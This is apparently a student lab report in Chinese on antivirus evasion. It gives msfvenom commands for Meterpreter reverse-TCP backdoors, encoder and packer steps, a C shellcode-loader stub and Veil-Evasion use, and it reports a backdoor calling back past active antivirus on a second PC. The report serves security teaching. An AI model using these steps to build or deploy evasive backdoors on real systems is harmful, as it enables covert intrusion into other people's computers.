Exp3 免杀原理与实践 20164302 王一帆

时间:2022-07-26 22:46:43

1 实践内容

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2 报告内容

2.1.基础问题回答

(1)杀软是如何检测出恶意代码的?

第一种:恶意代码中一般会有一段有明显特征的代码也就是特征码,如果杀毒软件通过扫描代码检测到的特征码与其特征码库的代码相匹配,就会把该该代码判定为恶意代码。

      第二种:通过对恶意代码的行为进行跟踪、监视、观察、研究,有一些行为很像恶意代码的行为,当代码在运行时,杀毒软件发现了这种像特意代码的行为,则会把它判定为恶意代                              码。

(2)免杀是做什么?

是指一种能使病毒木马免于被杀毒软件查杀的技术。

(3)免杀的基本方法有哪些?

通过使用msf编码器生成后门程序;通过msfvenom生成.jar .php等其他类型的文件;通过veil-evasion,加壳工具等一些工具,使用shellcode编程。

2.2.实践总结与体会

通过本次实验,最大感悟就是原来杀软并不能够保证我们电脑的安全,经过自己简单改变的后门程序,很多我们熟悉、常用的杀毒软件都没有报毒,很轻松的就是通过了杀软的扫描,现在网络技术的真的是很可怕,应该注意保护自己电脑的安全。真的非常抱歉这么晚才交报告,veil真的下了好久好久,最后听同学说是网速问题,开着热点用流量才安装好,真的是宿舍网速太。。。

2.3.开启杀软能绝对防止电脑中恶意代码吗?

通过实验,我们可以明确的知道,杀软是无法绝对的防止电脑中恶意代码的,我们在实验中通过不同方法的构造、编码、实验,居然真的能绕过杀毒软件,运行后门程序。

3 实践过程

3.1 任务一

3.1.1使用msf编码器,生成meterpreter可执行文件

这里跟Exp2中生成后门的过程一样,所以我直接用上一次实验生成的20164302_backdoor.exe后门文件,送到Virscan、VirusTotal网站上检测。

Exp3 免杀原理与实践  20164302 王一帆

在virscan网站上检测是提示文件名中有违法,所以又重新修改了文件文再进行扫描。

Exp3 免杀原理与实践  20164302 王一帆

Exp3 免杀原理与实践  20164302 王一帆

从扫描结果来看,很容易就被发现,我特意看了一下我电脑上安装的杀毒软件——金山毒霸,报告病毒。Exp3 免杀原理与实践  20164302 王一帆

3.1.2 使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

一次编码命令 mfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.95.128 LPORT= -f exe > met-encoded.exe ,将生成met-encode.exe直接在kali中打开浏览器进入virscan网站进行扫描。(为了节省时间,后面只用virscan扫描检测)

Exp3 免杀原理与实践  20164302 王一帆

Exp3 免杀原理与实践  20164302 王一帆

“危险”,有29个报毒,很显然不行,再进行十次编码看看,  mfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b '\x00' LHOST=192.168.95.128 LPORT= -f exe > met-encoded10.exe ,再将生成的后门程序扫描。

Exp3 免杀原理与实践  20164302 王一帆

Exp3 免杀原理与实践  20164302 王一帆

还是29个,看来一次编码和十次编码都是一样的,编码并没有什么用。

3.1.3 用msfvenom生成jar文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT= x > 4302_backdoor.jar ,进行扫描。

Exp3 免杀原理与实践  20164302 王一帆

突然想到第一次扫描时,文件名的问题,所以又重新生成了一下。

Exp3 免杀原理与实践  20164302 王一帆

由“危险”变为“警告”,但是还有8款报毒。

3.1.4 用msfvenom生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT= x > 4302_backdoor_php.php ,扫描结果。

Exp3 免杀原理与实践  20164302 王一帆

Exp3 免杀原理与实践  20164302 王一帆

只有1个报毒了,“提醒”,感觉有希望。

3.1.5 使用veil-evasion生成后门程序及检测

Veil-Evasion是一个免杀平台,在Kali软件库中有,但没装。 apt-get install veil

Exp3 免杀原理与实践  20164302 王一帆

输入 veil 进入veil,按“y"继续安装,

Exp3 免杀原理与实践  20164302 王一帆

等了好久好久才安装,在安装过程期间,我继续做了后面的内容,这一部分是最后做的。

输入 use  进入Veil-Evasion。

Exp3 免杀原理与实践  20164302 王一帆

list 看一下可用载荷

Exp3 免杀原理与实践  20164302 王一帆

选用C语言生成payload, use c/meterpreter/rev_tcp.py

Exp3 免杀原理与实践  20164302 王一帆

设置主机IP、端口号

set LHOST 192.168.95.128

set LPORT 

Exp3 免杀原理与实践  20164302 王一帆

generate 生成payload,然后命名为veil_backdoor

Exp3 免杀原理与实践  20164302 王一帆

注意上图veil_backdoor.exe所在位置,扫描一下,14个报毒。

Exp3 免杀原理与实践  20164302 王一帆

3.2 任务二

3.2.1 半手工打造恶意软件(C语言调用Shellcode)

生成C语言格式的shellcode数组

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT= -f c

Exp3 免杀原理与实践  20164302 王一帆

利用上面的数组编写一个C程序, gedit 编辑一个文件,复制粘贴数组,并插入如下主函数,注意不要忘记函数头,最后保存为4302_backdoor.c。

int main()
{
void *exec = VirtualAlloc(, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
}

Exp3 免杀原理与实践  20164302 王一帆

输入 i686-w64-mingw32-g++ 4302_shellcode.c -o 4302_shellcode.exe 生成可执行文件

Exp3 免杀原理与实践  20164302 王一帆

放到VirScan上检测一下

Exp3 免杀原理与实践  20164302 王一帆

用ncat传到windows上试一下

Exp3 免杀原理与实践  20164302 王一帆

发现一个木马病毒,仔细看了一下,幸好不是4302_shellcode.exe被检测出来,是实验第一步里面检测的程序。

Exp3 免杀原理与实践  20164302 王一帆

把报毒的程序处理之后,又进行了一次杀毒。

Exp3 免杀原理与实践  20164302 王一帆

后门和杀软共存,居然成功了!!!

3.3 任务三

3.3.1 压缩壳UPX

upx 4302_shellcode.exe -o 4302_upx_shellcode.exe

Exp3 免杀原理与实践  20164302 王一帆

Exp3 免杀原理与实践  20164302 王一帆

3.3.2 加密壳Hyperion

cd /usr/share/windows-binaries/hyperion/

wine hyperion.exe -v ~/007shellcode.exe 4302_hype_backdoor.exe

Exp3 免杀原理与实践  20164302 王一帆

结果发现出了错误,是因为这个时候我veil还没有安装完,按照报错的提示我运行了  dpkg --add-architecture && apt-get update && > apt-get install wine32" 这段代码,然后就安装了好多好多。

Exp3 免杀原理与实践  20164302 王一帆

Exp3 免杀原理与实践  20164302 王一帆

Exp3 免杀原理与实践  20164302 王一帆

23个??更多

3.4 任务四

3.4.1 通过组合应用各种技术实现恶意代码免杀

通过Shellcode与加壳组合之后进行反弹连接,并实现了与杀软共存

Exp3 免杀原理与实践  20164302 王一帆

Exp3 免杀原理与实践  20164302 王一帆

反弹成功,在Windows上运行一下

Exp3 免杀原理与实践  20164302 王一帆

然后在自己的电脑上杀一下毒。

Exp3 免杀原理与实践  20164302 王一帆

实现与杀软共存。

3.4.2 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

另一台电脑:腾讯电脑管家 13.3.20237.212

修改本机Kali的IP为桥接模式下的IP,用c+shellcode的方法生成后门,回连成功,实现了后门与杀软共存。

Exp3 免杀原理与实践  20164302 王一帆

Exp3 免杀原理与实践  20164302 王一帆

Exp3 免杀原理与实践 20164302 王一帆的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. js中兼容性问题的封装(能力检测)

    所谓兼容性,就是看浏览器是否支持当前对象的属性或是方法,先通过获得页面文本内容的方式来了解兼容性,并封装函数或对象以解决此类问题. 获得页面文本内容的方式:innnerText 或textConten ...

  2. 网页3D效果库Three.js初窥

    网页3D效果库Three.js初窥 背景 一直想研究下web页面的3D效果,最后选择了一个比较的成熟的框架Three.js下手 ThreeJs官网 ThreeJs-github; 接下来我会陆续翻译 ...

  3. Bitmap的一些操作

    1.截取 Bitmap 的部分区域 mBitmap = Bitmap.createBitmap(bmp, 100, 100, 120, 120); 这句代码从 bmp 的 (100,100) 处截取 ...

  4. robot framework环境搭建

    来源:http://www.cnblogs.com/puresoul/p/3854963.html[转] 一. robot framework环境搭建: 官网:http://robotframewor ...

  5. mongodb设置用户名和密码

    需求:我们需要在一个mongodb上面新建两个数据库,每个数据库的用户名和密码不一样,讲道理来说我们直接设置admin,就可以控制所有的数据库,不过用起来总是感觉有各种问题,目前还不太熟悉mongod ...

  6. 微信小程序 canvas导出图片模糊

    //保存到手机相册save:function () { wx.canvasToTempFilePath({ x: , y: , width: , //导出图片的宽 height: , //导出图片的高 ...

  7. Git服务器配置及本地克隆提交、服务器获取

    1.服务器Git安装配置 相关链接 相关链接 注意ssh-keygen .修改权限 权限:    相关链接   2.本地获取 git clone name@ip:服务器项目位置 相关链接   3.创建 ...

  8. TCP滑动窗口

    TCP利用滑动窗口实现流量控制基本的数据单位不是数据段,而是字节 滑动窗口本质上是描述接受方(本地)的TCP数据报缓冲区大小的数据,发送方根据这个数据来计算自己最多能发送多长的数据.如果发送方收到接受 ...

  9. Oracle 内存使用建议性能视图

    下面三个查询结果均可查询出随着内存参数设置的变化性能的变化情况,对oracle数据库内存的设置有一定的建议和指导作用. select t.SGA_SIZE,t.ESTD_DB_TIME_FACTOR ...

  10. python初学者日记01(字符串操作方法)

    时间:2018/12/16 作者:永远的码农(博客园) 环境: win10,pycharm2018,python3.7.1 1.1  基础操作(交互输入输出) input = input(" ...